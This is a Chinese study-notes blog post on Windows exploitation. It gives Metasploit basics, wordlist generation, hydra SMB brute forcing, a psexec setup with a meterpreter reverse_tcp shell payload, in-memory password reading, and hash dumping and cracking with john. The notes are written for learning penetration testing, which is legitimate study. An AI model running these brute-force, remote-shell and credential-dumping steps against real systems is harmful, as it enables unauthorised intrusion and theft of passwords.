【从入门到放弃系列学习笔记7】web应用安全基础整理-windows漏洞利用

一、利用MSF来进行漏洞利用

MSF-metasploit framework

集成在kali里的渗透测试框架

msfconsole
#启动命令

search ms17-010
#如何搜索漏洞,search + 形容词

use xxxx
#找到modules后可以用use命令引用

set xxxx
#设置参数

exploit
#执行攻击

  

二、字典介绍

如要爆破首先你得有个字典,那么有几种类型的字典?

根据生成方式分:

  • 弱口令字典
  • 社工字典
  • 字符集字典

根据用途分:

  • 子域名字典
  • 默认账号密码字典
  • 文件路径字典
  • 常用变量名字典
  • 常用文件名字典

有哪些可以生成字典的工具?

crunch 可以生成枚举型的字典,集成在kali里

crunch 1 8 abcdecfg.......
#生成一个最小1位 最大8位的字典

man crunch
#查看帮助

crunch <min-len> <max-len> [<charset string>] [option]
#用法

 

cupp 可以生成社工字典,(国外软件)

cupp -i
#进入cupp生成工具

 

还可以百度各种社工字典生成器(国内软件)。

 

三、案例一:windows暴力破解

需要先分别准备一个默认账号名字典和密码字典

方法一:hydra命令集成在kali里

hydra -l 
#指定用户名  

hydra -L 
#指定用户名文件  

hydra -p
#指定密码 

hydra -P
#指定密码字典

其他用法

hydra -L user.dic -P Pass.dic  smb://192.168.12.1 -vV 
#用法
#-vV 显示爆破细节
#-o  保存爆破结果
#-f  找到正确的密码就停止爆破
#-e  n  null 以空密码尝试
#    s  same 以和账号相同密码尝试
#    r  反向  密码反向尝试
#例子 -e nsr
#-t 线程数

  

方法二:用MSF来实现

use exploit/windows/smb/psexec_psh
#装载载荷

set payload windows/meterpreter/reverse_tcp
#

show options

set RHOSTS IP

set SMBUSER ajest

set ....

exploit
#执行爆破

四、案例二:windows内存中读取密码

前提条件:已经登录windows或有一定权限了

  1. 上传getpass.exe工具
  2. 执行该工具可以取得密码

原理是从内存中读。

五、案例三:windows账号密码hash值爆破

 前提条件:得到账号的hash值文件

  1. 上传quarkspwdump.exe或hashdump.exe
  2. 执行后可得到账号密码hash值的文件。
  3. 通过kali进行john命令进行密码爆破
john 文件名 --format=NT 
#可对hash密码进行爆破

  

 

  

posted @ 2020-11-23 17:53  大狼崽子Lanking  阅读(142)  评论(0)    收藏  举报